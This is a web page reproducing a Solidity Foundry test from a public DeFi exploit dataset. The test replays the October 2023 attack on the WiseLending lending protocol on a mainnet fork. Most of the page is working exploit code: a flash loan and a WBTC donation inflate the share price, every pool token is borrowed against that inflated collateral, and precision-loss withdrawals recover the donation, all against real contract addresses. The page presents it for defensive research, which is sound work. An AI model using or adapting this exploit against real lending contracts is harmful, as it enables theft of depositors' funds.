Public reproduction file

src/test/2023-10/WiseLending_exp.sol

Public reproduction file for dataset entry WiseLending.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2023-10/WiseLending_exp.sol184 lines

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "forge-std/Test.sol";
5import "./../interface.sol";
6 
7// @KeyInfo - Total Lost : ~260K USD$
8// Attacker : c0ffeebabe.eth (wihtehat)
9// Attack Contract : https://etherscan.io/address/0x3aa228a80f50763045bdfc45012da124bd0a6809 (Mev Contract)
10// Vulnerable Contract : https://etherscan.io/address/0x84524baa1951247b3a2617a843e6ece915bb9674
11// Attack Tx :https://etherscan.io/tx/0x7ac4a98599596adbf12fffa2bd23e2a2d2ac7e8989b6ea043fcc412a29126555
12 
13// @Info
14// Vulnerable Contract Code : https://etherscan.io/address/0x84524baa1951247b3a2617a843e6ece915bb9674#code
15 
16// @Analysis
17// Twitter Guy : https://twitter.com/bbbb/status/1712841315522638034
18// Twitter Guy : https://twitter.com/BlockSecTeam/status/1712871304993689709
19 
20interface IPositionNFTs {
21    function mintPositionForUser(
22        address _user
23    ) external returns (uint256);
24}
25 
26interface IWiseLending {
27    function getTotalDepositShares(
28        address _poolToken
29    ) external view returns (uint256);
30    function getPseudoTotalPool(
31        address _poolToken
32    ) external view returns (uint256);
33    function depositExactAmount(uint256 _nftId, address _poolToken, uint256 _amount) external returns (uint256);
34    function borrowExactAmount(uint256 _nftId, address _poolToken, uint256 _amount) external returns (uint256);
35    function withdrawExactAmount(uint256 _nftId, address _poolToken, uint256 _amount) external returns (uint256);
36}
37 
38contract ContractTest is Test {
39    IERC20 WBTC = IERC20(0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599);
40    IERC20 wstETH = IERC20(0x7f39C581F595B53c5cb19bD0b3f8dA6c935E2Ca0);
41    IERC20 WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
42    IERC20 aEthWETH = IERC20(0x4d5F47FA6A74757f35C14fD3a6Ef8E3C9BC514E8);
43    IERC20 DAI = IERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F);
44    IERC20 sDAI = IERC20(0x83F20F44975D03b1b09e64809B757c47f942BEeA);
45    IERC20 aEthDAI = IERC20(0x018008bfb33d285247A21d44E50697654f754e63);
46    IERC20 aEthUSDC = IERC20(0x98C23E9d8f34FEFb1B7BD6a91B7FF122F4e16F5c);
47    IERC20 aEthUSDT = IERC20(0x23878914EFE38d27C4D67Ab83ed1b93A74D4086a);
48    IERC20 USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
49    IPositionNFTs PositionNFTs = IPositionNFTs(0x9D6d4e2AfAB382ae9B52807a4B36A8d2Afc78b07);
50    IWiseLending WiseLending = IWiseLending(0x84524bAa1951247b3A2617A843e6eCe915Bb9674);
51    Uni_Pair_V3 WETH_WBTC_Pair = Uni_Pair_V3(0xCBCdF9626bC03E24f779434178A73a0B4bad62eD);
52    IBalancerVault Balancer = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);
53    Recover recover;
54 
55    function setUp() public {
56        vm.createSelectFork("mainnet", 18_342_120);
57        vm.label(address(WBTC), "WBTC");
58        vm.label(address(wstETH), "wstETH");
59        vm.label(address(WETH), "WETH");
60        vm.label(address(aEthWETH), "aEthWETH");
61        vm.label(address(DAI), "DAI");
62        vm.label(address(sDAI), "sDAI");
63        vm.label(address(aEthDAI), "aEthDAI");
64        vm.label(address(aEthUSDC), "aEthUSDC");
65        vm.label(address(aEthUSDT), "aEthUSDT");
66        vm.label(address(USDC), "USDC");
67        vm.label(address(PositionNFTs), "PositionNFTs");
68        vm.label(address(WiseLending), "WiseLending");
69        vm.label(address(WETH_WBTC_Pair), "WETH_WBTC_Pair");
70        vm.label(address(Balancer), "Balancer");
71    }
72 
73    function testExploit() public {
74        WBTC.approve(address(WiseLending), type(uint256).max);
75 
76        address[] memory tokens = new address[](1);
77        tokens[0] = address(WBTC);
78        uint256[] memory amounts = new uint256[](1);
79        amounts[0] = 50 * 1e8;
80        bytes memory userData = "";
81        Balancer.flashLoan(address(this), tokens, amounts, userData);
82 
83        profitLog();
84    }
85 
86    function receiveFlashLoan(
87        address[] memory tokens,
88        uint256[] memory amounts,
89        uint256[] memory feeAmounts,
90        bytes memory userData
91    ) external {
92        recover = new Recover();
93        uint256 recoverID = recover.init(); // open recover position
94 
95        uint256 borrowerID = PositionNFTs.mintPositionForUser(address(this)); // open borrower position
96 
97        WiseLending.depositExactAmount(recoverID, address(WBTC), 1); // deposit 1 WBTC to recover, mint 1 share
98        WiseLending.depositExactAmount(borrowerID, address(WBTC), 1); // deposit 1 WBTC to borrower, mint 1 share
99 
100        WBTC.transfer(address(WiseLending), 50 * 1e8 - 2); // donate ~50 WBTC to WiseLending, inflate share price
101 
102        borrowAll(borrowerID);
103 
104        recover.recover(); // recover donated WBTC
105 
106        int256 swapAmount = -int256(amounts[0] - WBTC.balanceOf(address(this)));
107        WETH_WBTC_Pair.swap(
108            address(this), false, swapAmount, uint160(35_991_486_685_722_499_892_781_286_346_438_453), ""
109        ); // swap WETH to WBTC
110        WBTC.transfer(address(Balancer), amounts[0]); // repay flash loan
111    }
112 
113    function borrowAll(
114        uint256 id
115    ) internal {
116        WiseLending.borrowExactAmount(id, address(wstETH), 33_538_664_799_002_267_467); // inflate share price in _coreBorrowTokens() , borrow all wstETH
117        WiseLending.borrowExactAmount(id, address(WETH), 339_996_372_423_526_589);
118        WiseLending.borrowExactAmount(id, address(aEthWETH), 98_969_695_913_405_122_899);
119        WiseLending.borrowExactAmount(id, address(DAI), 200_094_287_736_946_980_059);
120        WiseLending.borrowExactAmount(id, address(sDAI), 16_161_480_100_000_000_000_000);
121        WiseLending.borrowExactAmount(id, address(aEthDAI), 1_302_840_070_263_627_457_089);
122        WiseLending.borrowExactAmount(id, address(aEthUSDC), 5_108_839_054);
123        WiseLending.borrowExactAmount(id, address(aEthUSDT), 26_082_605_241);
124        WiseLending.borrowExactAmount(id, address(USDC), 50_000_000);
125    }
126 
127    function uniswapV3SwapCallback(int256 amount0Delta, int256 amount1Delta, bytes calldata data) external {
128        WETH.transfer(address(WETH_WBTC_Pair), uint256(amount1Delta));
129    }
130 
131    function onERC721Received(address, address, uint256, bytes memory) external returns (bytes4) {
132        return this.onERC721Received.selector;
133    }
134 
135    function profitLog() internal {
136        emit log_named_decimal_uint(
137            "Attacker wstETH balance after exploit", wstETH.balanceOf(address(this)), wstETH.decimals()
138        );
139        emit log_named_decimal_uint(
140            "Attacker aEthWETH balance after exploit", aEthWETH.balanceOf(address(this)), aEthWETH.decimals()
141        );
142        emit log_named_decimal_uint("Attacker DAI balance after exploit", DAI.balanceOf(address(this)), DAI.decimals());
143        emit log_named_decimal_uint(
144            "Attacker sDAI balance after exploit", sDAI.balanceOf(address(this)), sDAI.decimals()
145        );
146        emit log_named_decimal_uint(
147            "Attacker aEthDAI balance after exploit", aEthDAI.balanceOf(address(this)), aEthDAI.decimals()
148        );
149        emit log_named_decimal_uint(
150            "Attacker aEthUSDC balance after exploit", aEthUSDC.balanceOf(address(this)), aEthUSDC.decimals()
151        );
152        emit log_named_decimal_uint(
153            "Attacker aEthUSDT balance after exploit", aEthUSDT.balanceOf(address(this)), aEthUSDT.decimals()
154        );
155        emit log_named_decimal_uint(
156            "Attacker USDC balance after exploit", USDC.balanceOf(address(this)), USDC.decimals()
157        );
158    }
159}
160 
161contract Recover {
162    IPositionNFTs PositionNFTs = IPositionNFTs(0x9D6d4e2AfAB382ae9B52807a4B36A8d2Afc78b07);
163    IWiseLending WiseLending = IWiseLending(0x84524bAa1951247b3A2617A843e6eCe915Bb9674);
164    IERC20 WBTC = IERC20(0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599);
165    uint256 public positionID;
166 
167    function init() external returns (uint256) {
168        positionID = PositionNFTs.mintPositionForUser(address(this));
169        return positionID;
170    }
171 
172    function recover() external {
173        while (WiseLending.getPseudoTotalPool(address(WBTC)) > 2_000_000) {
174            uint256 recoverAmount =
175                (WiseLending.getPseudoTotalPool(address(WBTC)) - 1) / WiseLending.getTotalDepositShares(address(WBTC)); // withdraw share amount = 0 due to precision loss
176            WiseLending.withdrawExactAmount(positionID, address(WBTC), recoverAmount);
177        }
178        WBTC.transfer(msg.sender, WBTC.balanceOf(address(this)));
179    }
180 
181    function onERC721Received(address, address, uint256, bytes memory) external returns (bytes4) {
182        return this.onERC721Received.selector;
183    }
184}

Analysis

Dataset entry

Public Foundry test for “WiseLending” (2023-10-13). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

16 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

src/test/2023-10/Astrid_exp.solSame month in the dataset · 156 lines
src/test/2023-10/BelugaDex_exp.solSame month in the dataset · 171 lines
src/test/2023-10/BH_exp.solSame month in the dataset · 139 lines
src/test/2023-10/DePayRouter_exp.solSame month in the dataset · 132 lines
src/test/2023-10/Hopelend_exp.solSame month in the dataset · 240 lines
src/test/2023-10/kTAF_exp.solSame month in the dataset · 146 lines
src/test/2023-10/LaEeb_exp.solSame month in the dataset · 50 lines
src/test/2023-10/MaestroRouter2_exp.solSame month in the dataset · 85 lines
src/test/2023-10/MicDao_exp.solSame month in the dataset · 109 lines
src/test/2023-10/OpenLeverage_exp.solSame month in the dataset · 130 lines
src/test/2023-10/Platypus03_exp.solSame month in the dataset · 112 lines
src/test/2023-10/pSeudoEth_exp.solSame month in the dataset · 79 lines
src/test/2023-10/StarsArena_exp.solSame month in the dataset · 50 lines
src/test/2023-10/UniBot_exp.solSame month in the dataset · 80 lines
src/test/2023-10/ZS_exp.solSame month in the dataset · 141 lines
src/test/2024-01/WiseLending02_exp.solSame protocol or name in the dataset · 176 lines

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

Attack Contract
0x3aa228a80f50763045bdfc45012da124bd0a6809
Vulnerable Contract
0x84524baa1951247b3a2617a843e6ece915bb9674

Attack Tx
0x7ac4a98599596adbf12fffa2bd23e2a2d2ac7e8989b6ea043fcc412a29126555

File record

Name: WiseLending
Path: src/test/2023-10/WiseLending_exp.sol
Repository: SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit: 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob: 4f5bafcec773bd4a17e8e1af80cd09023ed8bfc8
Language: Solidity
Size: 185 lines
Date: 2023-10-13
Licence: file header UNLICENSED; repository Apache-2.0
Retrieved: 2026-10-19

Provenance

Path src/test/2023-10/WiseLending_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 4f5bafcec773bd4a17e8e1af80cd09023ed8bfc8, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.